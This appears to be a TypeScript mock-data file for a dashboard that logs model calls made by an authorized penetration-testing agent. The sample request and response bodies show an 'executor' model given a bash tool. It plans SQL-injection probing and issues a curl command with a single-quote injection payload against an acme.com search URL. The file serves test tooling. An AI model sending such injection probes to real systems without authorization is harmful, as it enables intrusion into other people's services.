ts: T("2026-08-09T02:16:05Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "Default",
|
||
session_id: "exp1-worker-i18",
|
||
task_id: "t-001",
|
||
worker: "worker-2",
|
||
latency_ms: 900,
|
||
input_tokens: 7600,
|
||
output_tokens: 0,
|
||
cache_read: 5200,
|
||
cache_write: 0,
|
||
status: "error",
|
||
error: "429 Too Many Requests (retried with backoff)",
|
||
},
|
||
];
|
||
|
||
// Distinct tasks with counts, derived from llmRecords above (task picker).
|
||
const llmTaskCounts: Record<string, number> = {};
|
||
for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1;
|
||
export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count }));
|
||
|
||
export function llmRecordDetail(id: number, records = llmRecords) {
|
||
const item = records.find((r) => r.id === id) ?? records[0];
|
||
return {
|
||
...item,
|
||
request_body: JSON.stringify(
|
||
{
|
||
model: item.model,
|
||
system: "You are the 'executor' of an authorized penetration testing system… (omitted)",
|
||
messages: [{ role: "user", content: "Start executing this intent from the system prompt: do only it, produce only facts, stop when done." }],
|
||
tools: ["bash", "insert_assets", "record_fact", "report_finding"],
|
||
},
|
||
null,
|
||
2,
|
||
),
|
||
response_body: JSON.stringify(
|
||
{
|
||
stop_reason: item.status === "error" ? "error" : "tool_use",
|
||
content: [
|
||
{ type: "text", text: "Probe injection on search?q=; verify with an error-based payload first." },
|
||
{ type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } },
|
||
],
|
||
usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens },
|
||
},
|
||
null,
|
||
2,
|
||
),
|
||
// Raw HTTP: the request contains the full tool schema dropped by the normalized view; the response is raw SSE frames.
|
||
raw_request: JSON.stringify({
|
||
model: item.model,
|
||
max_tokens: 8192,
|
||
stream: true,
|
||
system: [
|
||
{ type: "text", text: "You are the 'executor' of an authorized penetration testing system… (omitted)", cache_control: { type: "ephemeral" } },
|
||
],
|
||
messages: [{ role: "user", content: "Start executing this intent from the system prompt: do only it, produce only facts, stop when done." }],
|
||
tools: [
|
||
{
|
||
name: "bash",
|
||
description: "Runs a shell command in the target environment and returns its output.",
|
||
input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
|
||
},
|
||
],
|
||
thinking: { type: "enabled" },
|
||
}),
|
||
raw_response: [
|
||
`event: message_start`,
|
||
`data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`,
|
||
``,
|
||
`event: content_block_delta`,
|
||
`data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Probe injection on search?q=."}}`,
|
||
``,
|
||
`event: content_block_start`,
|
||
`data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`,
|
||
``,
|
||
`event: content_block_delta`,
|
||
`data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`,
|
||
``,
|
||
`event: message_delta`,
|
||
`data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`,
|
||
``,
|
||
`event: message_stop`,
|
||
`data: {"type":"message_stop"}`,
|
||
``,
|
||
].join("\n"),
|
||
};
|
||
}
|